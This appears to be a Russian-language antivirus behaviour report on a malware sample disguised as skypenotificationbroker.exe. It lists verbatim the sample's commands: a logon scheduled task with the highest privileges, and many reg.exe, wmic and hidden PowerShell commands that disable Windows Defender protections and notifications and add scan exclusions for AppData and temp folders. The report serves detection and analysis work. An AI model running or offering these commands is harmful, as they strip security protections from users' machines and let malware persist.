Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\skypenotificationbroker
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует запуск следующих системных утилит:
- Системный антивирус (Защитник Windows)
добавляет исключения антивируса с помощью следующих ключей реестра:
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%LOCALAPPDATA%\Microsoft\Windows\' = '00000000'
Изменения в файловой системе
Создает следующие файлы
- %LOCALAPPDATA%\microsoft\windows\skypenotificationbroker.exe
- nul
- %LOCALAPPDATA%\microsoft\windows\wccache.dat
Другое
Создает и запускает на исполнение
- '%LOCALAPPDATA%\microsoft\windows\skypenotificationbroker.exe'
Запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -WindowStyle Hidden -Command "Start-Sleep -Milliseconds 2500" (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -WindowStyle Hidden -Command "$g=@((Get-CimInstance Win32_VideoController -EA SilentlyContinue|Select-Object -ExpandProperty Name));$d=[int64]((Get-CimInstance Win32_... (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /create /tn SkypeNotificationBroker /tr "\"%LOCALAPPDATA%\Microsoft\Windows\SkypeNotificationBroker.exe\"" /sc onlogon /rl highest /f (со скрытым окном)
- '<SYSTEM32>\net.exe' session (со скрытым окном)
- '<SYSTEM32>\net1.exe' session
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v DisableNotifications /t REG_DWORD /d 1 /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v DisableNotifications /t REG_DWORD /d 1 /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\UX Configuration" /v Notification_Suppress /t REG_DWORD /d 1 /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance /v Enabled /t REG_DWORD /d 0 /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.StartupApp /v Enabled /t REG_DWORD /d 0 /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableIOAVProtection /t REG_DWORD /d 1 /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpynetReporting /t REG_DWORD /d 0 /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f (со скрытым окном)
- '<SYSTEM32>\wbem\wmic.exe' /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Set DisableBehaviorMonitoring=True (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Set -Arguments @{DisableBehaviorMon... (со скрытым окном)
- '<SYSTEM32>\wbem\wmic.exe' /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Set DisableIOAVProtection=True (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Set -Arguments @{DisableIOAVProtect... (со скрытым окном)
- '<SYSTEM32>\wbem\wmic.exe' /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Set DisableBlockAtFirstSight=True (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Set -Arguments @{DisableBlockAtFirs... (со скрытым окном)
- '<SYSTEM32>\wbem\wmic.exe' /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Set MAPSReporting=0 (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Set -Arguments @{MAPSReporting=0}" (со скрытым окном)
- '<SYSTEM32>\wbem\wmic.exe' /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Set SubmitSamplesConsent=2 (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Set -Arguments @{SubmitSamplesConse... (со скрытым окном)
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v %LOCALAPPDATA%\Microsoft\Windows\ /t REG_DWORD /d 0 /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\ASR\ASROnlyExclusions" /v %LOCALAPPDATA%\Microsoft\Windows\ /t REG_DWORD /d 0 /f (со скрытым окном)
- '<SYSTEM32>\wbem\wmic.exe' /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Add "ExclusionPath=\"%LOCALAPPDATA%\Microsoft\Windows\\\"" (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Add -Arguments @{ExclusionPath=@('%... (со скрытым окном)
- '<SYSTEM32>\wbem\wmic.exe' /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Add "AttackSurfaceReductionOnlyExclusions=\"%LOCALAPPDATA%\Microsoft\Windows\\\"" (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Add -Arguments @{AttackSurfaceReduc... (со скрытым окном)
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v %TEMP%\ /t REG_DWORD /d 0 /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\ASR\ASROnlyExclusions" /v %TEMP%\ /t REG_DWORD /d 0 /f (со скрытым окном)
- '<SYSTEM32>\wbem\wmic.exe' /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Add "ExclusionPath=\"%TEMP%\\\"" (со скрытым окном)
- '<SYSTEM32>\wbem\wmic.exe' /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Add "AttackSurfaceReductionOnlyExclusions=\"%TEMP%\\\"" (со скрытым окном)
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v %WINDIR%\Temp\ /t REG_DWORD /d 0 /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\ASR\ASROnlyExclusions" /v %WINDIR%\Temp\ /t REG_DWORD /d 0 /f (со скрытым окном)
- '<SYSTEM32>\wbem\wmic.exe' /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Add "ExclusionPath=\"%WINDIR%\Temp\\\"" (со скрытым окном)
- '%LOCALAPPDATA%\microsoft\windows\skypenotificationbroker.exe' (со скрытым окном)
